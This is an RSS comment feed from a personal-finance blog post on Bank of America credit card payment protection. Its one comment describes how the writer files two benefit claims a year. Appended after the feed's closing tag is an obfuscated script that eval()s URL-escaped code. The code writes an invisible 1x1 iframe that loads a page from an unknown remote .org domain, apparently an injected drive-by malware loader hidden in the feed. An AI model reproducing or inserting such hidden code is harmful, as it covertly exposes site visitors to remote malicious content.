<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Possible $1000 Money from Bank of America</title>
	<atom:link href="http://www.mycardblog.com/2009/09/possible-1000-money-from-bank-of-america/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mycardblog.com/2009/09/possible-1000-money-from-bank-of-america/</link>
	<description>Bring you the best in personal finance</description>
	<lastBuildDate>Thu, 11 Mar 2010 22:30:41 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Crystal</title>
		<link>http://www.mycardblog.com/2009/09/possible-1000-money-from-bank-of-america/comment-page-1/#comment-10728</link>
		<dc:creator>Crystal</dc:creator>
		<pubDate>Fri, 25 Dec 2009 15:59:13 +0000</pubDate>
		<guid isPermaLink="false">http://www.mycardblog.com/?p=2153#comment-10728</guid>
		<description>I have this protection on my card. in order to get the deluxe you have to get the regular protection as well. the regular protection ins $19.95/mo and the deluxe is $29.95/mo... neither are based on a percentage of your balance. so pay $50/mo basically and you get two claims per year on each of the two coverages. you can make a claim for the same even on both coverages at the same time. so if you move you claim it on the regular and the deluxe. the regular (plus) coverage makes your minemum payment for 3 months. and the deluxe gives you $500. in my case my card minimum payment averages about $75/mo. also you do not get charged the fee for the plus coverage during the 3 months that they are making your minimum payment. and you do not get the fee for the deluxe in the month they pay a benefit. so if you make two claims a year, you are paying $19.95 * 6 for the plus coverage and $29.95 * 10 for the deluxe coverage. so for one year with 2 claims you will pay $419.20.  in my case with the average monthly payment being $75/mo. my total benefit pay out is approx. $1450.  I am in school. Also I have gotten a divorce and moved twice since I got this coverage. I make sure I claim two things every year. This year I have only claimed 1 thing. and that was my divorce. so I am claiming my good grades this week.</description>
		<content:encoded><![CDATA[<p>I have this protection on my card. in order to get the deluxe you have to get the regular protection as well. the regular protection ins $19.95/mo and the deluxe is $29.95/mo&#8230; neither are based on a percentage of your balance. so pay $50/mo basically and you get two claims per year on each of the two coverages. you can make a claim for the same even on both coverages at the same time. so if you move you claim it on the regular and the deluxe. the regular (plus) coverage makes your minemum payment for 3 months. and the deluxe gives you $500. in my case my card minimum payment averages about $75/mo. also you do not get charged the fee for the plus coverage during the 3 months that they are making your minimum payment. and you do not get the fee for the deluxe in the month they pay a benefit. so if you make two claims a year, you are paying $19.95 * 6 for the plus coverage and $29.95 * 10 for the deluxe coverage. so for one year with 2 claims you will pay $419.20.  in my case with the average monthly payment being $75/mo. my total benefit pay out is approx. $1450.  I am in school. Also I have gotten a divorce and moved twice since I got this coverage. I make sure I claim two things every year. This year I have only claimed 1 thing. and that was my divorce. so I am claiming my good grades this week.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>